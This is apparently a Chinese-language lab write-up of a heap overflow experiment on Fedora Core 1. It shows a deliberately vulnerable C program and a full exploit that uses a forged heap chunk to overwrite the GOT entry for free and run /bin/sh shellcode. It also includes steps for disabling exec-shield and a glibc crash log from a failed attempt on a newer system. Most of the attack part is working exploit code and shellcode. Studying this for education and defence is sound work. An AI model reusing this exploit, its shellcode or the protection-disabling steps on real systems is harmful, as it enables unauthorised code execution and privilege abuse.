实验平台:Fedora Core 1(glibc-2.3.2-101)
实验前提:去掉该平台的堆执行保护:sysctl -w kernel.exec-shield=0
目标漏洞代码:
#//heap2.c #include<stdlib.h> #include<string.h> int main(int argc,char *argv[]) { char *buf1=malloc(300); char *buf2=malloc(20); strcpy(buf1,argv[1]); free(buf1); free(buf2); return(0); }
exploit
// heap exploit #include <string.h> #include <unistd.h> #define FUNCTION_POINTER ( 0x080495f0 ) // using objdump: objdump -R ./heap2 | grep free #define CODE_ADDRESS ( 0x08049608 + 2*4) // using ltrace:ltrace ./heap2 2>&1 | grep 300 #define VULN_SIZE 312 #define PREV_INUSE 0x01 int i; char buf[1000]; char shellcode[] = "\xeb\x0cppppssssffff" //\xeb\x0c是跳过12字节的十六进制表示,后面是随意的12个字符 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //Aleph One的著名shellcode "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(void) { int filler_len = (VULN_SIZE - 4*4) - (2*4 + strlen(shellcode)); //计算填充随意数据"B"的字节数 strcat(buf,"\xff\xff\xff\xff"); strcat(buf,"\xff\xff\xff\xff"); strcat(buf,shellcode); for(i=0; i<filler_len; i++) strcat(buf,"B"); strcat(buf,"\xf0\xff\xff\xff"); strcat(buf,"\xfc\xff\xff\xff"); int t=strlen(buf); for(i=t; i<(t+4); i++) buf[i] = ((unsigned long)(FUNCTION_POINTER-12) >> (i*8)) &255; for(i=(t+4); i<(t+8); i++) buf[i] = ((unsigned long)CODE_ADDRESS >> (i*8)) &255; buf[(t+8)] = '\0'; execl("./heap2", "heap2", buf, NULL); }
注意事项:1.一定要根据实际情况更改exploit里面的 FUNCTION_POINTER和CODE_ADDRESS后面的内存地址
2.去掉操作系统的执行保护措施
实验原理及更多实验代码参见:http://knight.segfaults.net/EE579/Heap%20overflow.htm
实验总结:开始我用的实验平台是Fedora Core 4(glibc-2.3.5-10),可是实验总是不成功,总是出现错误如下:
[root@Lynx gray]# ./heap2_exploit *** glibc detected *** heap2: double free or corruption (!prev): 0x0846c008 *** ======= Backtrace: ========= /lib/libc.so.6[0x53e424] /lib/libc.so.6(__libc_free+0x77)[0x53e95f] heap2[0x8048445] /lib/libc.so.6(__libc_start_main+0xc6)[0x4efde6] heap2[0x8048361] ======= Memory map: ======== 00263000-0026c000 r-xp 00000000 08:01 1213618 /lib/libgcc_s-4.0.0-20050520.so.1 0026c000-0026d000 rwxp 00009000 08:01 1213618 /lib/libgcc_s-4.0.0-20050520.so.1 004bd000-004d7000 r-xp 00000000 08:01 1213570 /lib/ld-2.3.5.so 004d7000-004d8000 r-xp 00019000 08:01 1213570 /lib/ld-2.3.5.so 004d8000-004d9000 rwxp 0001a000 08:01 1213570 /lib/ld-2.3.5.so 004db000-005ff000 r-xp 00000000 08:01 1213613 /lib/libc-2.3.5.so 005ff000-00601000 r-xp 00124000 08:01 1213613 /lib/libc-2.3.5.so 00601000-00603000 rwxp 00126000 08:01 1213613 /lib/libc-2.3.5.so 00603000-00605000 rwxp 00603000 00:00 0 00bad000-00bae000 r-xp 00bad000 00:00 0 08048000-08049000 r-xp 00000000 08:01 394654 /root/gray/heap2 08049000-0804a000 rw-p 00000000 08:01 394654 /root/gray/heap2 0846c000-0848d000 rw-p 0846c000 00:00 0 [heap] b7e00000-b7e21000 rw-p b7e00000 00:00 0 b7e21000-b7f00000 ---p b7e21000 00:00 0 b7fd0000-b7fd1000 rw-p b7fd0000 00:00 0 b7fde000-b7fdf000 rw-p b7fde000 00:00 0 bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0 [stack] 已放弃
自己很纠结,前后看了好几遍堆溢出攻击原理,用gdb调试了好几遍实验代码,都不管用。
后来看了好多前辈的文章,知道这与堆的执行保护有关,与glibc的版本有关,版本越高,一些防护措施越好,越不容易绕过。看来实验代码没有问题。那怎么去掉堆执行保护呢?这个以我目前的技术不太现实,找个没有这么完善的堆执行保护的操作系统吧,最后选择的是Fedora Core 1,实验顺利通过。
操作系统的防护措施与黑客的攻击手段的竞争从没有停止过,操作系统能出防护措施,黑客就会有Bypass的手段,操作系统再封堵。。。。技术得以不断进步发展。。。